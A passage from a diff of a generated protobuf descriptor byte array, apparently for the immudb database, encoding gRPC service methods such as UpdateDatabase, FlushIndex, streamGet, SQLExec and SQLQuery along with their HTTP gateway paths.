0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, - 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, - 0x32, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, - 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, - 0x3a, 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, - 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, - 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, - 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, - 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, - 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, - 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, - 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, - 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, - 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, - 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, - 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, + 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x88, 0x02, + 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, + 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, 0x6a, 0x0a, 0x13, + 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, 0x22, 0x0f, + 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x12, + 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, + 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, + 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, + 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, - 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, - 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, - 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, - 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, 0x0a, - 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, - 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, - 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, - 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, + 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, + 0x0a, 0x0b, 0x73, 0x74, 